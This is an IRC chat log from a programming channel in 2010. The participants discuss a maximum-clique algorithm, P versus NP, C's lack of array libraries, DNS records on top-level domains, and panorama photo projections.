23:38:15 <augur> yeah, that seems to have been what it is; after averaging multiple compute times for each graph, the number of graphs that are extremely long to compute for has dropped
23:40:32 -!- tombom has quit (Quit: Leaving).
23:52:17 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:53:28 <augur> bhatturas <3
23:58:38 <augur> damnit, i keep doing this
23:58:47 <augur> the algorithm ive been testing? wrong fucking algorithm.
23:58:57 <augur> i have two methods on my graph class that solve this problem
23:59:07 <augur> both with the same name, except for a version number
23:59:21 <augur> e.g. relmaxclique and relmaxclique2
23:59:26 <augur> and the first i know to be a shitty algorithm
2010-03-17
00:01:42 -!- oerjan has joined.
00:02:51 <augur> fuck yeah, now its looking good :)
00:03:33 <oerjan> 10:03:38 <ais523> hmm, if a problem is NP, its reverse is normally P
00:03:44 <oerjan> you should be _glad_ you're not here right now
00:04:17 <augur> oerjan: :)
00:04:22 * augur huggles oerjan
00:04:23 <oerjan> (translation: that is just nonsense)
00:04:45 <oerjan> unless he had something strange in mind by "reverse"
00:04:51 <coppro> isn't that part of the definition of NP?
00:04:59 <augur> have i told you about my algorithm that seems to solve the maximum clique problem in quadratic time? 8D
00:05:02 <oerjan> certainly not
00:06:07 <augur> i have a link somewhere in the logs
00:06:09 <augur> did you see it?
00:06:55 <oerjan> augur: well since the part of the logs i'm at mentioned it was NP-complete, i assume that's only "seems"
00:07:04 <augur> it probbaly does only seem
00:07:25 <augur> im running it in Textmate's ruby interpreter, so its slow, right
00:07:31 <augur> so i cant so the kinds of tests i'd like to do
00:07:40 <oerjan> but otherwise i should congratulate you on soon becoming a millionaire ;D
00:07:47 <augur> we could implement it in C and get some blazing speed out of it then throw some random data at it
00:07:49 <augur> MAN I WISH
00:09:22 <oerjan> augur: you should test it on a maximum clique problem that has been reduced from some other NP-complete problem like SAT.
00:10:02 <augur> sure but what i need is not a single test case but a bunch of them, so that i can actually plot complexity curves
00:10:07 <oerjan> i don't know (at least on the spot) how the reduction goes though
00:10:17 <augur> a single test case is fine, but that just tells me how fast it solves this one problem
00:10:33 <oerjan> augur: well if you have the actual reduction algorithm, you could test reduced SAT cases
00:11:23 <augur> right. i guess what i really need is a way to just run through a shitton of graphs.
00:11:38 <augur> right now im just testing it on 100 random graphs with n nodes
00:11:46 <augur> for n in 2..30
00:11:51 -!- Oranjer has joined.
00:12:01 <pikhq> augur: Ruby? Of course it's slow. The interpreter is literally traversing the AST!
00:12:09 <augur> ;)
00:12:35 <augur> i know its slow. i need to write this in C, but im too lazy to figure that out right now. i suppose if i could find a graph library it'd be trivial
00:13:02 <oerjan> "the problem of finding the maximum clique is both fixed-parameter intractable and hard to approximate"
00:13:07 <augur> and i need to figure out how to use the standard array and hash libraries
00:13:42 <pikhq> Array library? C? *Hah*.
00:13:57 <pikhq> :P
00:14:11 <augur> what? :P
00:14:23 <augur> you know, something that will automatically manage arrays for me
00:14:34 <pikhq> No such thing.
00:14:37 <augur> what
00:14:38 <augur> yes there is
00:14:42 <pikhq> You're lucky to have malloc.
00:14:43 <oerjan> augur: are you sure you are actually finding the maximum clique and not a _maximal_ clique?
00:14:48 * pikhq is being intentionally evil. ;)
00:14:51 <augur> :|
00:15:18 <oerjan> (i.e. a clique that cannot be enlarged)
00:15:20 <pikhq> But on a more serious note: there are no *standard* array libraries.
00:15:23 <augur> oerjan: yes. see, the algorithm technically doesn't find the maximum clique, it finds the largest clique that a given node is in
00:15:29 <pikhq> You've got handy tools like "memcmp"
00:15:33 <pikhq> and "memcpy".
00:15:38 <augur> BUT, that problem is actually the maximum clique problem.
00:15:38 <oerjan> mhm
00:15:47 <pikhq> And things that claim to be tools like "strcpy" and "strcmp".
00:16:11 <augur> also, ofcourse im finding a maximal clique. the maximum clique IS maximal. 8D
00:16:18 * augur is a semanticist
00:17:03 <augur> yeah thats right
00:17:12 <augur> i know how to do denotational semantics /for real languages/
00:17:35 <augur> suck it, strachey and scott
00:17:59 <Oranjer> general semantics? hah
00:18:03 <augur> no.
00:18:07 <augur> :|
00:18:11 <Oranjer> I know!
00:18:12 <augur> general semantics is not semantics.
00:18:18 <Oranjer> I know!
00:22:01 <oerjan> 10:22:57 <ais523> generate them at random? by definition, you can test if an answer to an NP-complete problem is correct in P-time
00:22:06 <oerjan> *facepalm*
00:22:30 <oerjan> only if the answer is _yes_
00:22:45 <uorygl> And only if "answer" means a whole lot more than the answer.
00:22:54 <augur> oerjan: forget him
00:22:59 <oerjan> heh
00:22:59 <augur> lets translate this algorithm into C
00:23:36 <uorygl> Otherwise, the statement would be equivalent to "you can determine if the answer to an NP-complete problem is YES or NO in P-time".
00:23:57 -!- FireFly has quit (Quit: Leaving).
00:24:32 <uorygl> I once met a guy who was 120% sure that P != NP.
00:24:33 <oerjan> uorygl: mind you what he said, with a liberal interpretation, is true if NP = co-NP. but that is not known.
00:25:16 <uorygl> You know, if he really is 120% sure, he ought to be willing to take a bet where he loses $1 if P != NP and loses $1,000,000 if P = NP.
00:25:31 <augur> oerjan: cmon, lets do it. im starting to see some potentially exponential trends so lets get to doing this for real
00:25:57 <oerjan> what do you mean "us", kemosabe?
00:25:58 <uorygl> Calculate the expected value: 1.2 * -1 + -0.2 * -1000000 = 199998.8
00:26:35 <augur> oerjan: us, as in if its really polynomial you'll get half the credit.
00:26:46 <oerjan> *kimosabe
00:28:04 -!- charlls has quit (Quit: Saliendo).
00:29:08 <oerjan> wait, it's kemosabe, how does google dare to suggest a _wrong_ correction?
00:31:40 <augur> magic
00:32:25 <Oranjer> Google Dares With Magic
00:32:52 <augur> i'd dare your magic
00:32:55 <augur> if you know what i mean
00:32:56 <augur> ;o ;o ;o
00:39:53 <augur> wow wait
00:40:01 <augur> are there really no standard C libs for arrays?
00:43:25 <pikhq> It's not part of the standard library, no.
00:43:52 <pikhq> Strictly speaking, C *does not have arrays* that are not global or on the stack. And you cannot pass arrays as arguments.
00:44:00 <pikhq> What you have is a pointer and syntactic sugar.
00:44:46 <augur> right, i know. what i mean is some sort of struct or whatever and some functions that will manage it so i can just push and pop as needed
00:44:58 <pikhq> Not in the C library.
00:45:06 <augur> ok
00:45:08 <augur> im surprised.
00:57:47 -!- Gracenotes has joined.
01:16:12 <augur> where the fuck is memcpy located :|
01:17:54 <pikhq> string,h, according to man memcpy
01:18:32 <pikhq> Erm. string.h
01:19:27 <augur> i think i might need to just write my own version actually
01:19:50 <augur> no probably not
01:19:50 <augur> ok
01:31:00 <augur> hm.
01:31:08 <augur> oh.
01:33:05 <augur> weird.
01:35:01 <uorygl> `run echo 'Because there are a LOT of ways to mess up these' | wc
01:35:11 <HackEgo> 1 11 49
01:36:10 -!- lament has quit (Ping timeout: 264 seconds).
01:36:19 -!- lament has joined.
01:54:03 <augur> O_O
01:55:41 <uorygl> Yes?
01:59:40 <oerjan> Quite Definitely Maybe.
02:05:01 -!- comex has changed nick to HiEverybody.
02:05:07 -!- HiEverybody has changed nick to comex.
02:05:55 <oerjan> comex: hi!
02:06:01 <comex> :p
02:09:53 -!- jcp has quit (Ping timeout: 260 seconds).
02:33:30 -!- jcp has joined.
02:45:54 -!- pikhq has quit (Ping timeout: 256 seconds).
02:46:11 -!- oerjan has quit (Quit: Reboot).
02:47:08 -!- pikhq has joined.
02:51:00 -!- nooga has joined.
02:51:02 <nooga> hi
02:51:22 <nooga> i've found something amusing on google maps :D
02:51:23 -!- Sgeo has joined.
02:51:28 <nooga> http://to./38k2 WTF?
02:52:23 -!- oerjan has joined.
02:52:29 <Oranjer> well then
02:52:31 <nooga> 0.5mil broad stripe over bajkal O_o
02:54:03 <bsmntbombdood> looks like a post-processing artifact to me
02:54:11 <Oranjer> indeed
02:54:34 <nooga> looks awesome
02:55:18 <oerjan> no no, it's the famous barguzin half-bridge
02:55:38 <nooga> for soviet tanks, perhaps
02:55:39 <nooga> ;D
02:55:53 <bsmntbombdood> if this wasn't 2010 i'd say it was a piece of tape
02:59:54 <nooga> http://en.allexperts.com/q/Geography-1729/running-Lake-Baikal-1.htm
02:59:58 <nooga> rotfl rotfl rotfl
03:00:21 <nooga> they're trying to explain it with another conspiracy theory
03:00:23 <nooga> :DD:DD:
03:02:50 -!- Oranjer has left (?).
03:21:03 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
03:31:56 <Gracenotes> okay, so in my game, if the player hits the jump button 2 frames before they touch the ground, the game gives them leeway and jumps anyway once they touch down
03:32:04 <Gracenotes> hope this doesn't screw with their brains
03:33:18 <Gracenotes> I'm actually pretty happy about the heuristics I've come up with. scrolling, jumping behavior, ...
03:33:21 <oerjan> brainfucking is strictly allowed in this community
03:33:47 <Gracenotes> screw with their brains, not screw their brains
03:51:18 -!- jcp has quit (Ping timeout: 252 seconds).
04:00:10 <augur> erg
04:00:25 <augur> why am i getting errors when i have circular dependency graphs in C? :|
04:07:28 -!- jcp has joined.
04:13:36 <oerjan> what do you mean by circular dependency graphs
04:14:02 <oerjan> augur: ^
04:14:13 <augur> nevermind
04:14:17 <augur> i found a better solution
04:14:47 <oerjan> if you mean #include's, then they cannot be circular afaik, they're textual inclusion
04:15:06 <augur> i was using #import, but
04:15:33 -!- MizardX has quit (Ping timeout: 240 seconds).
04:16:41 <oerjan> ah that's apparently not C, but C++
04:16:55 <augur> XCode.
04:26:50 -!- jcp has quit (Ping timeout: 248 seconds).
04:31:59 -!- werdan7 has quit (*.net *.split).
04:31:59 -!- SimonRC has quit (*.net *.split).
04:32:35 -!- SimonRC has joined.
04:39:45 -!- werdan7 has joined.
04:46:36 <Sgeo> "Probably a simple question but what do I put for the login universe for Preston bot and other bots if I am in AWEDU? I have tried !AWEDU! but get the message ' cant resolve universe host'."
04:46:49 <Sgeo> Basically, the login universe is a server
04:47:04 <Sgeo> So, this person is somewhat clueless, but so what
04:47:14 <Sgeo> However, this is the response from staff:
04:47:27 <Sgeo> "Could you please tell me what your User name is in AWEDU and which world is yours? I will need this to get the info.
04:47:27 <Sgeo> "
04:47:31 <Sgeo> ^^lies
05:01:02 -!- jcp has joined.
05:33:32 -!- oerjan has quit (Quit: Good night).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:08:01 -!- tombom has joined.
08:40:57 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
08:50:07 -!- tombom has quit (Quit: Leaving).
10:28:39 -!- lereah_ has joined.
11:13:48 -!- kar8nga has joined.
11:32:48 -!- MizardX has joined.
11:37:14 -!- MizardX has quit (Read error: Connection reset by peer).
11:50:02 -!- MizardX has joined.
12:13:35 -!- kar8nga has quit (Remote host closed the connection).
12:56:41 -!- kar8nga has joined.
13:04:36 -!- MigoMipo has joined.
13:18:36 -!- amca has joined.
13:39:24 -!- ais523 has joined.
14:52:39 -!- deschutron has joined.
14:56:56 -!- fax has joined.
14:57:47 -!- Sgeo_ has joined.
15:00:04 -!- MigoMipo has quit.
15:00:27 -!- Sgeo has quit (Ping timeout: 245 seconds).
15:02:23 -!- MigoMipo has joined.
15:03:30 -!- lament has quit (Ping timeout: 245 seconds).
15:03:45 -!- lament has joined.
15:07:47 -!- MigoMipo has quit (Remote host closed the connection).
15:10:52 -!- MigoMipo has joined.
15:23:12 -!- oerjan has joined.
16:06:02 -!- lament has quit (Ping timeout: 248 seconds).
16:06:28 -!- lament has joined.
16:23:10 -!- oerjan has quit (Quit: KABOOM!).
16:23:33 -!- nooga has quit (Ping timeout: 240 seconds).
16:25:44 -!- Gracenotes has quit (Quit: Leaving).
16:30:57 -!- sebbu2 has joined.
16:31:25 -!- sebbu has quit (Ping timeout: 260 seconds).
16:31:28 -!- sebbu2 has changed nick to sebbu.
16:37:24 -!- FireFly has joined.
16:57:26 -!- werdan7 has quit (Ping timeout: 633 seconds).
17:01:34 -!- deschutron has left (?).
17:06:10 -!- werdan7 has joined.
17:19:26 <AnMaster> ais523, there?
17:20:07 <ais523> yes
17:20:12 <AnMaster> How deep snow have you personally seen in "real life"?
17:20:30 <ais523> maybe 5-6 inches in the deepest parts
17:20:48 <AnMaster> ais523, heh. Look at http://omploader.org/vM3YyMw then
17:20:50 <AnMaster> took that today
17:20:56 <ais523> image?
17:20:57 <AnMaster> and well, it has started melting now
17:20:59 <AnMaster> ais523, yes
17:21:00 <AnMaster> what else?
17:21:09 <ais523> and yes, that's pretty thick
17:21:15 <AnMaster> ais523, well, not to me :P
17:21:28 <Gregor> The snow was deeper than that here last year.
17:21:29 <AnMaster> and not compared to how it was before melting...
17:21:49 <AnMaster> Gregor, well as I said it started melting. About a week or two ago
17:22:04 <Gregor> Well, I don't live in the frozen north :P
17:22:49 <AnMaster> Gregor, what do you mean?
17:23:24 <AnMaster> wth at one picture from my mobile phone. It is just black in the lower part
17:23:32 <Gregor> I mean, quite simply, that I don't live in the frozen north.
17:23:34 <AnMaster> lik not all image data was captured or something
17:23:45 <Gregor> AnMaster: Perfectly horizontal line?
17:23:52 <AnMaster> Gregor, yes: http://omploader.org/vM3YyNw
17:24:15 <Gregor> Heh, funny, it shows white for me :P
17:24:19 <Gregor> It must truly not have all the image data.
17:24:26 <AnMaster> Gregor, well, it shows black in eog
17:24:29 <AnMaster> hm
17:24:32 <AnMaster> Gregor, perhaps
17:24:33 <AnMaster> that's sad
17:24:44 <AnMaster> was going to make a panorama including that image
17:26:13 <Gregor> Not now you're not!
17:26:25 <AnMaster> [1189626.022063] googleearth-bin[3782]: segfault at 0 ip (null) sp 00000000fff4cb24 error 14 in googleearth-bin[8048000+49000] <-- argh
17:26:57 <AnMaster> okay, now it is suddenly no longer reproducible
17:26:57 <AnMaster> wth
17:27:27 <AnMaster> okay... now it crashes at another point instead
17:27:29 <pikhq> AnMaster: That's it? :P
17:27:39 <pikhq> (the snow)
17:27:45 <ais523> hmm, I was reading an article on making stupidly small executables earlier today
17:27:53 <ais523> and now I recognise that 8048000 straight off
17:28:05 <AnMaster> pikhq, well, compared to UK!
17:28:17 <ais523> AnMaster: the canal here froze over over the winter
17:28:29 <ais523> some people were rather unwisely trying to walk on it, but it could bear their weight
17:28:39 <ais523> also, someone tried to drive a car down it, and it /couldn't/ bear its weight
17:28:42 <ais523> it hit the local news
17:28:48 <ais523> they got quite a way, though
17:30:31 <AnMaster> <ais523> AnMaster: the canal here froze over over the winter <-- is that rare?
17:30:37 <ais523> yes
17:30:42 <ais523> never known it to happen before
17:30:53 <ais523> at least, it's common for it to get a bit of ice on it
17:30:56 <AnMaster> ais523, well, here we have regular winter roads on the lake
17:30:59 <ais523> but not for it to be able to bear weight
17:31:06 <AnMaster> for cars, some winters even for trucks
17:31:15 <AnMaster> but I think it closed for this season last week or so
17:31:21 <AnMaster> (the one close to here that is)
17:31:21 <ais523> AnMaster: it's so nice talking to scandinavians, they're the only people (apart from possibly russians, some canadians, and eskimos) who don't think the UK is stupidly cold
17:31:36 <AnMaster> ais523, we think it is stupidly rainy
17:31:43 <AnMaster> ais523, also what about Germans?
17:31:57 <ais523> hmm, I rather like it here, but maybe I'm just used to it
17:34:35 <AnMaster> fizzie, measuring that corridor from the pano yesterday in google earth gives it as roughly 60 meters between the nearest doors visible at either end
17:34:47 <AnMaster> fizzie, perhaps 50
17:34:49 <ais523> also, I'm disappointed at the fact that someone put an URL shortener at http://to./
17:35:09 <AnMaster> to.?
17:35:12 <AnMaster> wth is that
17:35:15 <ais523> a TLD
17:35:18 <AnMaster> well yes
17:35:23 <AnMaster> but you can't put a site at it
17:35:24 <AnMaster> can you?
17:35:27 <ais523> someone bought the A record for a TLD just so they could put an URL shortener there
17:35:30 <ais523> of course you can
17:35:37 <AnMaster> ais523, is that allowed?
17:35:40 <ais523> you can add an A record for any domain if you own it
17:35:50 <ais523> and nothing in the spec says you can't
17:36:04 <AnMaster> ais523, well, but is it allowed by policy...
17:36:18 <ais523> well, /someone/ did it
17:36:30 <ais523> and allegedly ICANN's planning to sell brand new TLDs to companies
17:36:39 <fizzie> I'm thinking a TLD owner doesn't have very many constraints as to what they can do with it.
17:38:03 <AnMaster> fizzie, I took a picture at near the end of a 240 meter corridor at the university (length estimated from google earth)
17:38:07 <AnMaster> sadly it was rather blurry
17:38:19 <AnMaster> and didn't really show how long it was
17:38:26 <ais523> there was an MX record for mailto:i@an for a while, IIRC
17:38:27 <fizzie> I wonder how much money Tonga gets from the (ab)use of their .to TLD.
17:38:30 <ais523> maybe still is
17:38:38 <AnMaster> fizzie, sorry, 270
17:38:40 <AnMaster> not 240
17:38:51 <AnMaster> fizzie, and .nu too
17:38:52 <ais523> fizzie: I seem to remember that when Tuvalu sold .tv, it was a significant amount of money for every member of its population
17:39:00 <ais523> a few hundred thousand dollars or so
17:39:03 <AnMaster> ais523, what is an?
17:39:05 <ais523> no wonder they sold it
17:39:22 <ais523> AnMaster: I'm not sure; who really cares, I doubt the original owner of the TLD has much correlation with its use
17:39:24 <AnMaster> ais523, per person!?
17:39:28 <AnMaster> ais523, that were given out?
17:39:30 <fizzie> an. currently seems to have just NS (and the SOA) entries.
17:39:33 <AnMaster> also what domain did they get after?
17:40:14 <fizzie> .an: Netherlands Antilles, previously known as the Netherlands West Indies or Dutch Antilles/West Indies.
17:40:30 <ais523> AnMaster: according to Wikipedia Tuvalu has a population of 12373
17:40:32 <fizzie> There were TLDs with MX records though, I think we dig'd for those not long ago.
17:40:56 <ais523> presumably, with all the money they got from the sale they have no problems buying domains elsewhere if they need them
17:41:24 <AnMaster> ais523, what a pity there are 28 persons more than the ideal!
17:41:41 <ais523> presumably the value changes over time
17:41:58 <AnMaster> there is no se.
17:42:01 <AnMaster> but there is www.se
17:42:08 <AnMaster> some domain registrar
17:42:22 <fizzie> ai. 14400 IN MX 10 mail.offshore.ai.
17:42:25 <fizzie> That was one of them.
17:42:41 <AnMaster> ai?
17:42:49 <fizzie> So you could get x@ai as a working email address.
17:43:01 <AnMaster> fizzie, xai? is that supposed to mean anything?
17:43:05 <fizzie> Except that there's probably quite a lot of MTAs that would add a site-specific prefix there.
17:43:11 <fizzie> Just "x" as in "arbitrary".
17:43:14 <AnMaster> ah
17:43:29 <AnMaster> evil.ai would be a nice domain
17:43:49 <fizzie> .ai is for Anguilla, another one of those tiny specs in the Caribbean.
17:43:52 <AnMaster> but that yuoswhatever would probably prefer good.ai, unless I misremember what his opinion was
17:44:03 <fizzie> "The total land area of the territory is 91 km2 (35 sq mi), with a population of approximately 13,500 (2006 estimate)."
17:45:00 <fizzie> Heh, www.ai: "Anguilla's consumption-based tax system is hospitable to productive firms that create income, profits and wealth. And Anguilla has strict secrecy laws, fresh air, and fantastic beaches."
17:45:20 <fizzie> What a delightfully coy way of saying "we do tax evasion here".
17:45:39 <fax> hehe
17:45:53 <fizzie> An .ai domain is $100 for 2 years, available to anyone.
17:45:57 <ais523> you could try emailing webmaster@ai and asking if they're offering mail addresses there
17:46:08 <ais523> um, not webmaster
17:46:11 <fax> @ai ??
17:46:14 <fax> not @something.ai ?
17:46:22 <ais523> what's the address to contact the mail server owner?
17:46:30 <ais523> fax: you can put DNS records in for a TLD if you own it
17:46:42 * AnMaster watches one now slush filled street in google earth's street view
17:46:44 <fax> that is so cool
17:46:49 <AnMaster> it is amazing that it is the same place
17:47:01 <fizzie> And, as was just mentioned, ai. is one of the relatively few ones that has one already.
17:47:06 <ais523> ICANN will truly jump the shark if it ever offers a 0-character TLF
17:47:08 <ais523> *TLD
17:47:12 <ais523> which would presumably be http://./
17:47:24 <ais523> and a subdomain would be http://domain../
17:47:28 <AnMaster> ais523, is that even possible?
17:47:33 <fizzie> That one I'm not so sure is legal.
17:47:45 <ais523> (in theory, google.com is google.com. etc but people pretty much always leave off the final dot)
17:48:17 <ais523> (and the "correct" meaning for http://google.com/ is http://google.com.localhost./)
17:48:36 <AnMaster> ais523, no it isn't. It will search in the default search whatever for domains
17:48:52 <AnMaster> from my resolv.conf I think that is "domain lan"
17:48:55 <AnMaster> not 100% sure though
17:49:06 <ais523> well, I was trying to simplify a bit
17:49:14 <AnMaster> hm no
17:49:16 <ais523> but the idea is that it uses relative-to-local addressing
17:49:17 <AnMaster> there is a search line
17:49:21 <AnMaster> according to man page
17:49:21 <ais523> if you miss off the final .
17:49:58 -!- jcp has joined.
17:51:05 <AnMaster> ndots:n
17:51:06 <AnMaster> sets a threshold for the number of dots which must appear in a name given to res_query(3) (see resolver(3)) before an initial absolute query will be made. The default for n is 1,
17:51:06 <AnMaster> meaning that if there are any dots in a name, the name will be tried first as an absolute name before any search list elements are appended to it. The value for this option is
17:51:06 <AnMaster> silently capped to 15.
17:51:12 <AnMaster> why is it "silently capped to 15"
17:51:13 <AnMaster> -_-
17:51:24 <AnMaster> that so makes no sense
17:51:47 <ais523> ah, ok
17:52:23 <ais523> so a.b.c.d.e.f.g.h.i.j.k.com might be self-relative, but a.b.c.d.e.f.g.h.i.j.k.l.com always means a.b.c.d.e.f.g.h.i.j.k.l.com.?
17:53:03 <fizzie> RFC1035 (STD 13) specifies "<label> ::= <letter> [ [ <ldh-str> ] <let-dig> ]" for the names, though that's only for "the prudent user" who selects a name that "will result in fewer problems with many applications that use domain names", not exactly a real rule. Some of the later, updating RFCs, could possibly specify a real requirement there.
17:53:47 -!- kar8nga has quit (Read error: Connection reset by peer).
17:53:57 <AnMaster> ais523, guess so
17:54:26 <fizzie> Technically the DNS on-wire format uses (length, data)-style structures for labels, so I guess a zero-length name might actually work.
17:54:29 <ais523> let's put that in the HackEgo quotes files, just to completely mystify anyone who looks back along them in the future
17:54:37 <AnMaster> fizzie, what does that format mean?
17:54:54 <ais523> `addquote <ais523> so a.b.c.d.e.f.g.h.i.j.k.com might be self-relative, but a.b.c.d.e.f.g.h.i.j.k.l.com always means a.b.c.d.e.f.g.h.i.j.k.l.com.?
17:55:00 <fizzie> Which format?
17:55:06 <HackEgo> 138|<ais523> so a.b.c.d.e.f.g.h.i.j.k.com might be self-relative, but a.b.c.d.e.f.g.h.i.j.k.l.com always means a.b.c.d.e.f.g.h.i.j.k.l.com.?
17:55:12 <AnMaster> fizzie, the one you quoted above
17:55:14 <AnMaster> what is it for
17:55:44 <fizzie> The <label> one? It's for a single component in a domain name. Well, a suggestion for one.
17:56:01 <ais523> you mean, they aren't specified at all?
17:56:41 <AnMaster> fizzie, ah
17:56:45 <AnMaster> ais523, what isn't?
17:57:00 <ais523> domain name components
17:57:06 <fizzie> ais523: They're specified as a sequence of octets (with a maximum length restriction) in the original standard. But a later document might add more rules.
17:57:12 <AnMaster> `addquote <ais523> let's put that in the HackEgo quotes files, just to completely mystify anyone who looks back along them in the future
17:57:14 <HackEgo> 139|<ais523> let's put that in the HackEgo quotes files, just to completely mystify anyone who looks back along them in the future
17:57:29 <ais523> AnMaster: I'm not sure if that makes that even more mystifying or not
17:57:32 <fizzie> ais523: The justification there is that DNS supposed to be able to accommodate all kinds of legacy naming schemes.
17:57:48 <ais523> "sequence of octets", you could have /so/ much fun with that if you could somehow slip it past ICANN
17:58:10 <ais523> buy the TLD consisting of three NUL characters!
17:58:37 <ais523> anyway, I should go home
17:58:39 <ais523> bye everyone
17:58:40 -!- ais523 has quit (Remote host closed the connection).
17:58:43 <fizzie> "The DNS specifications attempt to be as general as possible in the rules for constructing domain names. The idea is that the name of any existing object can be expressed as a domain name with minimal changes."
17:59:57 <AnMaster> <ais523> "sequence of octets", you could have /so/ much fun with that if you could somehow slip it past ICANN <-- indeed
18:00:31 <fizzie> Hmm, the actual standard document that grew out of the RFC says: "One label is reserved, and that is the null (i.e., zero length) label used for the root." That might imply that you don't get to use the null label as a component of a domain name elsewhere.
18:01:20 <fizzie> Indeed: "Internally, programs that manipulate domain names should represent them as sequences of labels, where each label is a length octet followed by an octet string. Because all domain names end at the root, which has a null string for a label, these internal representations can use a length byte of zero to terminate a domain name."
18:01:48 <fizzie> But the three-NUL name should be just fine and dandy.
18:02:00 <fizzie> Users might have some trouble typing that in a browser, though.
18:02:17 -!- amca has quit (Quit: Farewell).
18:03:06 <AnMaster> <fizzie> But the three-NUL name should be just fine and dandy. <-- ?
18:03:56 <fizzie> The one that ais523 suggested up there.
18:04:04 <AnMaster> fizzie, ah
18:04:22 -!- lereah_ has quit (Remote host closed the connection).
18:04:39 <AnMaster> fizzie, does any program actually represent it like that I wonder
18:04:50 <AnMaster> except perhaps dig, bind and a few apps like that
18:06:40 <fizzie> I guess regular strings (with dots in it) are more likely.
18:07:07 <fizzie> Technically speaking you should be able to embed dots in the name; I wonder if dig & friends has some escape sequences for that.
18:11:23 <AnMaster> heh
18:11:26 <AnMaster> bbl
18:13:21 -!- MigoMipo has quit (Remote host closed the connection).
18:23:43 -!- BeholdMyGlory_ has joined.
18:24:09 -!- BeholdMyGlory_ has quit (Changing host).
18:24:09 -!- BeholdMyGlory_ has joined.
18:25:18 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
18:29:51 <AnMaster> fizzie, btw that blurry image from the ~270 m corridor: http://omploader.org/vM3YydA
18:29:54 <AnMaster> not very good
18:30:13 <AnMaster> fizzie, but there were people around, so best photo I could get
18:31:38 <fizzie> You could try the "put the camera on tripod, take a metric bazillion of pictures, align them very well, take the median value of each pixel" trick to get a completely non-peopled version. Though someone might wonder what you're doing there.
18:32:06 <AnMaster> fizzie, indeed...
18:34:25 <fizzie> The main building here has one ~150 m corridor, but there's an I-think-it's-always-closed door right there in the middle where it changes from "old side" to "new side".
18:34:47 <fizzie> (That ~150 m is very approximative, I don't have g-earth installed and maps.google doesn't have a nice measurement tool.)
18:34:48 <AnMaster> fizzie, huh
18:34:57 <AnMaster> so how to people walk between those parts?
18:35:24 <fizzie> I mean, it's not closed-as-in-locked, just closed-as-in-it-doesn't-stay-open-but-closes-automatically-when-you-let-go.
18:35:47 <AnMaster> ah
18:36:12 <AnMaster> fizzie, iirc this 240 meters one is all open usually
18:36:18 <AnMaster> there are doors that can be closed along it
18:36:34 <AnMaster> iirc with those electromagnet thingies for auto closing in case of fire
18:38:11 <fizzie> Actually it seems to be pretty much exactly 150 m; the muncipal "map service" site (http://kartat.espoo.fi/) has a measure-distances tool.
18:38:43 -!- tombom has joined.
18:42:17 <fizzie> There's this "tube" (a glass-walled bridge on second-floor-height) between the Computer Science building and the "TUAS" building (industrial engineering and management, automation and systems technology); if you cheat a bit and count that as a part of the same "corridor", it's a bit over 200 m, I think.
18:44:29 <AnMaster> hm
18:44:58 <AnMaster> fizzie, I only counted the actual corridor
18:45:26 <AnMaster> which ends at a door at one end of the building, but at the other end ends in a restaurant and a door to side of the building
18:45:37 <AnMaster> if I counted the entire building it would be over 300 meters
18:45:55 <AnMaster> (aprox, I don't have google earth open any longer)
18:49:27 <AnMaster> argh, gimp
18:49:41 <AnMaster> gimp's* l10n to Swedish save dialog for tif
18:49:43 <AnMaster> is horrible
18:49:59 <AnMaster> "deflate" has been translated to "packa ihop" (lit: "pack together")
18:50:21 <AnMaster> which means I was only able to find it thanks to remember the position in the list of compression algorithms
18:59:32 -!- kar8nga has joined.
19:10:44 <Gregor> if ie < len(args):
19:10:44 <Gregor> ^
19:10:44 <Gregor> SyntaxError: invalid syntax
19:10:46 <Gregor> ???
19:11:46 <Gregor> (That caret points at the :, lest that was unclear)
19:15:05 * pikhq shrugs
19:20:47 <uorygl> `translate syns det suger å sortere i MSN/Gtalk/Facebook kontakter!
19:20:59 <HackEgo> think it sucks to sort in MSN / Gtalk / Facebook contacts!
19:28:25 <AnMaster> Gregor, actually the image I have data might be enough even though one image is corrupt
19:28:33 <AnMaster> (or truncated rather I guess)
19:29:01 <AnMaster> fizzie, I wonder, rectilinear looks best, but the image data covers too much for that...
19:29:09 <AnMaster> any good idea?
19:29:20 <AnMaster> I want it to look rectilinear near the middle
19:29:36 <AnMaster> without being so awkward towards the edges
19:31:28 -!- nooga has joined.
19:32:16 <fizzie> I don't really know. You could try to use some sort of external panorama-viewer thing to look at it if you like the rectilinear look.
19:32:48 <AnMaster> fizzie, well, sure, but I want more data towards the edges :/
19:33:59 <AnMaster> also, argh, I want wb from one image, and exposure from another
19:34:24 -!- sebbu has quit (Ping timeout: 240 seconds).
19:37:24 -!- tombom_ has joined.
19:40:09 -!- songhead95 has joined.
19:40:58 -!- tombom has quit (Ping timeout: 248 seconds).
19:48:33 -!- songhead95 has quit (Quit: songhead95).
19:49:56 -!- songhead95 has joined.
19:51:15 -!- dbc has quit (Quit: Seeeeeya).
19:51:32 -!- songhead95 has left (?).
19:54:18 <AnMaster> fizzie, ah found a way: rectilinear with a different center of image
19:54:41 <AnMaster> that yields an interesting result. Somewhat like perspective correction.
20:05:20 <augur> AnMaster: rectilinear huh
20:05:22 <augur> ;x
20:06:58 -!- tombom has joined.
20:09:03 -!- tombom_ has quit (Ping timeout: 276 seconds).
20:17:25 <AnMaster> augur, yeah what about it?
20:17:34 <AnMaster> augur, it is a photographic projectioj
20:17:38 <AnMaster> projection*
20:17:43 <augur> oh i'm sure it is 8D
20:17:50 <AnMaster> augur, what else could it be?
20:18:00 <augur> ;D
20:18:28 <AnMaster> augur, for "wide" panoramas you usually use equirectangular or cylindrical or such
20:18:35 <augur> o mai
20:18:38 <AnMaster> rectilinear is closer to a normal "not to wide" lens
20:18:56 <AnMaster> ("not to wide" here is to exclude fish eye lenses)
20:20:33 -!- tombom has quit (Ping timeout: 240 seconds).
20:21:06 <AnMaster> augur, to best learn what they mean: install hugin (panorama tool) and add some image with lens data in the exif, then play around with the result in of various projections and various angles in the preview window (use the opengl preview window, rather than slow/more-precise preview, otherwise you won't see the updates in real time)
20:21:42 <AnMaster> you can do perspective correction to look at an image from a different direction (assuming you have data for enough of the image)
20:21:51 <AnMaster> of course, that is still from the same point
20:22:17 <AnMaster> but like you had rotated the camera in the same spot
20:22:35 <AnMaster> you can use it for creating 3D models from if you want to do that
20:23:08 <AnMaster> (note, for that you really need to do it on buildings or such, rather than a nature picture)
20:23:57 <AnMaster> fizzie, have you tried that btw?
